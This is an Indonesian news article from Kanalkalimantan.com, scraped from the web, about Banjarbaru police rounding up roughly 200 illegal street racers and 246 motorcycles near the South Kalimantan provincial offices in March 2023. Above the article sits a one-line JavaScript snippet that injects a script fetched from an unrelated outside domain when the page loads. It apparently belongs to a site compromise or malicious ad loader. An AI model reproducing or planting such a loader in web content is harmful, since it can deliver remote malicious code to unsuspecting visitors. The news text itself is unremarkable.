(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Jajaran personel Polres Banjarbaru berhasil menertibkan tidak kurang dari 200 orang pelaku balap liar (Bali) di kawasan perkantoran Setda Provinsi Kalimantan Selatan, Jumat (10/3/2023) sore.
Ratusan pelaku balap liar ini digiring ke Mako Polres Banjarbaru dengan cara mendorong masing-masing sepeda motor berjarak 10 Km dari komplek Perkantoran Setda Provinsi Kalsel.
Kapolres Banjarbaru AKBP Dody Harza Kusumah melalui Kasi Humas Polres Banjarbaru Kompol Tajudin Noor mengatakan, giat kepolisian yang ditingkatkan ini menyasar pelaku balap liar, knalpot brong dan kendaraan bermotor yang tidak lengkat surat menyuratnya.
“Hasil razia ada 246 kendaraan yang diamankan,” sebutnya, Sabtu (11/3/2023) pagi.
Baca juga: Masuk Kharisma Event Nusantara, BSF 2023 Digelar di Tengah Sungai Martapura
Setelah diamankan ke Mako Polres Banjarbaru, ratusan kendaraan tersebut dilakukan pendataan, didapati sejumlah sepeda motor dengan knalpot brong langsung diminta untuk mengganti dengan knalpot standar.
“Sepada motor dengan knalpot brong ada 36 buah,” sebut Kompol Tajudin Noor.
Kemudian, para pelaku balap liar dan yang terjaring razia diberikan teguran dan membuat surat pernyataan.
“Razia akan terus dilanjutkan untuk penertiban balap liar dan knalpot brong, sampai situasi aman,” tuntasnya.
Ratusan pelaku balap liar (Bali) dibuat ngos-ngosan mendorong sepeda motor masing-masing kurang lebih 10 kilometer dari komplek perkantoran Setda Provinsi Kalimantan Selatan (Kalsel) menuju Mako Polres Banjarbaru, Jumat (10/3/2023) malam.
Berjalan kaki sambil menuntun sepeda motor ke Mako Polres Banjarbaru untuk dilakukan pendataan. Sepeda motor yang didapati menggunakan knalpot brong langsung dipisahkan dari yang lainnya.
Baca juga: Balap Liar di Perkantoran Gubernur: Tak Lengkap Ditilang, Knalpot Brong Disita Diganti Standar!
Dari pantauan Kanalkalimantan.com di Mako Polres Banjarbaru, jejeran puluhan kendaraan roda dua ini langsung dilakukan pendataan baik dari kelengkapan surat menyurat hingga pemeriksan knalpot yang tidak standar atau brong.
Bagi pengendara motor yang terjaring razia balap liar jajaran Polres Banjarbaru memiliki kelengkapan dan memenuhi standar, serta surat menyurat langsung diperbolehkan pulang. Sementara pemilik sepeda motor yang tak sempat diproses akan dilaksanakan pemeriksaan besok.
Adapun untuk kelengkapan kendaraan seperti STNK dan Surat Izin Mengemudi (SIM) menjadi perhatian pemeriksaan utama. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.